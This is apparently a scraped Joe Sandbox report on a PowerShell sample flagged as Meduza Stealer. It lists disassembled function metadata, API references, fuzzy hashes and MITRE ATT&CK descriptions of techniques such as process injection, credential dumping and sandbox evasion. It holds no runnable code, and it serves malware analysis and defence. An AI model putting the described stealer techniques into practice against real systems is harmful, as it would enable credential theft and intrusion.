Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: 31e0a82fba1ac8404e5e10ce8532bc14ad0420340b639d160bc5b8383c4741d7
Instruction ID: bda656617733ab7c599bafe3d087ce4763d96ede9ce19672bdd57906dd8d7858
Opcode Fuzzy Hash: 31e0a82fba1ac8404e5e10ce8532bc14ad0420340b639d160bc5b8383c4741d7
Instruction Fuzzy Hash: E1919B72A08B8582EB94EB01E40436DB7A6FB48FC4FDA4072DA9E47754DF78D4A1C350

Function 00007FF75A72F0DC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75A72F3BB

Part of subcall function 00007FF75A71C4AC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A71C4C9

Strings

UTF-16LEUNICODE, xrefs: 00007FF75A72F359
ccs, xrefs: 00007FF75A72F2F6
UTF-8, xrefs: 00007FF75A72F33A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: a61b9dafeebeef71c778538e02d1dd93d241f4be75a88b4b5df5efb2b9ec5def
Instruction ID: 465c8edc1b9c677fd206d4ae8bbff4106542b8886bf0003e4bc51f2aa8d8be7e
Opcode Fuzzy Hash: a61b9dafeebeef71c778538e02d1dd93d241f4be75a88b4b5df5efb2b9ec5def
Instruction Fuzzy Hash: 1981B476E0D20385F774AF25C11027CB6E0EF1AB54FDD88B5CA2A57285DF2EE8219325

Function 00007FF75A69EBF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

[json.exception., xrefs: 00007FF75A69ED2B

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID: [json.exception.
API String ID: 0-791563284
Opcode ID: 32be17192377b44d0045321f6096eb201ecf12396ebc76e16d1da555cc750af0
Instruction ID: 1640811159b4a5255ca0bae64b0e3a5add7154cede83aa101aea46df914dbfbc
Opcode Fuzzy Hash: 32be17192377b44d0045321f6096eb201ecf12396ebc76e16d1da555cc750af0
Instruction Fuzzy Hash: 5E713562F14B8189F700EF79D8402ACA7A2EF94B94F9846B1DE5D17B8ACF78D481C350

Function 00007FF75A722C08 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75A722C30
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF75A722D18

Strings

csm, xrefs: 00007FF75A722C52
csm, xrefs: 00007FF75A722D6A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1075979170a2e9a18e477d88d2de6d235b634f407b84dd7ceece1c898f0d7b57
Instruction ID: a5ded584f26cd8320087d0f94894dad45d7adb4ece6a1734ddffce61f665117f
Opcode Fuzzy Hash: 1075979170a2e9a18e477d88d2de6d235b634f407b84dd7ceece1c898f0d7b57
Instruction Fuzzy Hash: 1651BF32A083828AFB74AF119444378B6A4FF58B84F9C59B5DA8C47785CF3DE891C751

Function 00007FF75A69CA60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A69CACF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF75A69CB17
_Getctype.LIBCPMT ref: 00007FF75A69CB55

Strings

bad locale name, xrefs: 00007FF75A69CC0E

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: std::_$GetctypeLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1612978173-1405518554
Opcode ID: 461f5172515d6199666a23d78f3aff95217434da73e3bc5dd098c4cb94a6e218
Instruction ID: a4973ddbd26191029204020b47cad8c97bb8117e63d9bb83d45cc3ef2a9ab68c
Opcode Fuzzy Hash: 461f5172515d6199666a23d78f3aff95217434da73e3bc5dd098c4cb94a6e218
Instruction Fuzzy Hash: F6515B32B09B418EFB10EF71E4602ACB3A5EF48B48F8848B5DE4D26A59DF38D5159364

Function 00007FF75A6F0BFF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F0D1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F0D25

Part of subcall function 00007FF75A720E88: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF75A72C3D2), ref: 00007FF75A720ED8
Part of subcall function 00007FF75A720E88: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,-2723E8D8DEBC5094,00007FF75A72C3D2), ref: 00007FF75A720F19

Strings

exists, xrefs: 00007FF75A6F0D3B
ios_base::badbit set, xrefs: 00007FF75A6F0D5D, 00007FF75A6F0D94, 00007FF75A6F0DD2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ExceptionFileHeaderRaise
String ID: exists$ios_base::badbit set
API String ID: 240014264-2074760687
Opcode ID: a5a59e918b60e0c8ffbbc047f386daa408d0b82dfff3e722bcb7dc2d295da79a
Instruction ID: dd89003da2251c51f4eb53cba4acdb17a28d79df6687903211c474e25a6ed2e5
Opcode Fuzzy Hash: a5a59e918b60e0c8ffbbc047f386daa408d0b82dfff3e722bcb7dc2d295da79a
Instruction Fuzzy Hash: CE414B72609AC694FA20EB14E4947EEB361FF88740F844672C68D43AA9EF7CD549CB50

Function 00007FF75A70CF38 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF75A70CF23), ref: 00007FF75A70D054
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF75A70CF23), ref: 00007FF75A70D0DF

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 3f62383259c36c84ae499e9679ffdb2c1832cde853ef017496f7ee74174e2e70
Instruction ID: 21de5a860e2a6d1d1f9ab7bf074e2feb5713a46c999a9bc5456495327709c483
Opcode Fuzzy Hash: 3f62383259c36c84ae499e9679ffdb2c1832cde853ef017496f7ee74174e2e70
Instruction Fuzzy Hash: 48911636F1875289F750AF6498402BDABA0BF19B88F9845B9DE0E57685CF3CD542CB30

Function 00007FF75A6BCAD0 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6BCC02
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BCC08
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BCC65
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6BCCAC

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: 2ef972a16e2ba5ba3c98391287ce00b58c1d51af4b9df70177021faff77ee253
Instruction ID: 667315b5090b0c18c2fd26e9306f67de2fba29de337aa793c33e55d1b5b23ee4
Opcode Fuzzy Hash: 2ef972a16e2ba5ba3c98391287ce00b58c1d51af4b9df70177021faff77ee253
Instruction Fuzzy Hash: 2C41F6A2B0674981FF18AB65D41437CA292DF5CFE0F984A71DE6D077C4DF6CA9818320

Function 00007FF75A6B2C80 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A72C5EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A72C609
Part of subcall function 00007FF75A72C5EC: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF75A72C62C

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A6B2CC1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A6B2CE6
std::_Facet_Register.LIBCPMT ref: 00007FF75A6B2D92
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6B2DF4

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_RegisterSetgloballocalestd::locale::_
String ID:
API String ID: 3698853521-0
Opcode ID: c9a1a8139d8810aad24f7145a6566e187178f19033a855930054ed48ba3ff1cb
Instruction ID: 74423f839aa0da83742236dabe68f93cb5c6cc8e49910020282109f69cb46c39
Opcode Fuzzy Hash: c9a1a8139d8810aad24f7145a6566e187178f19033a855930054ed48ba3ff1cb
Instruction Fuzzy Hash: 30419222618B4591FB54EF21E4402B9B3A5FF88B90F9C09B1EA9D47795DF3CE842C720

Function 00007FF75A6EAB80 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A6EABAB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A6EABD0
std::_Facet_Register.LIBCPMT ref: 00007FF75A6EAC7B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6EACC6

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 73d040060e39de7473f733929aeeb815445ca65359d0c265211a911782271014
Instruction ID: d124f47664cfbb6443ec2b366dcef143b7760764ede55c74b5bed9d1b6ded136
Opcode Fuzzy Hash: 73d040060e39de7473f733929aeeb815445ca65359d0c265211a911782271014
Instruction Fuzzy Hash: 2741D226A18A4181FB11EF15E44027AA3A1FFACF94F9C09B5EA4D477A5DF3DE041C720

Function 00007FF75A70CC10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF75A70CD27
GetLastError.KERNEL32 ref: 00007FF75A70CD49

Strings

U, xrefs: 00007FF75A70CCD3

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 136ebf252562798dd94b0934f5b608a87eddbdd1c89cb1577b5bf7720501d192
Instruction ID: e375cefd4d56d0303066503ce918030ad895038f4254374f60d15c1fbe0110de
Opcode Fuzzy Hash: 136ebf252562798dd94b0934f5b608a87eddbdd1c89cb1577b5bf7720501d192
Instruction Fuzzy Hash: B941C322B18A4182EB60EF25E8443AAA7A1FF8C794F894531EE4E87794DF7CD441CB50

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report script.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Meduza Stealer

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

